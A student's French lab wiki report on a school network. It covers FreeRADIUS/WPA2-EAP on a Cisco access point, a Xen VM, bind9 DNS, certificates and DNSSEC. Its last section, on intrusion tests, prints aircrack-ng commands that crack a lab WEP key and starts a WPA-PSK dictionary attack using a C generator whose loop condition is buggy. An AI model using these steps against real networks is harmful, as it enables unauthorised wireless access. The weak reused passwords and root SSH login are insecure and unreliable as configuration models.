&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54690</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54690"/>
				<updated>2020-12-15T13:43:16Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
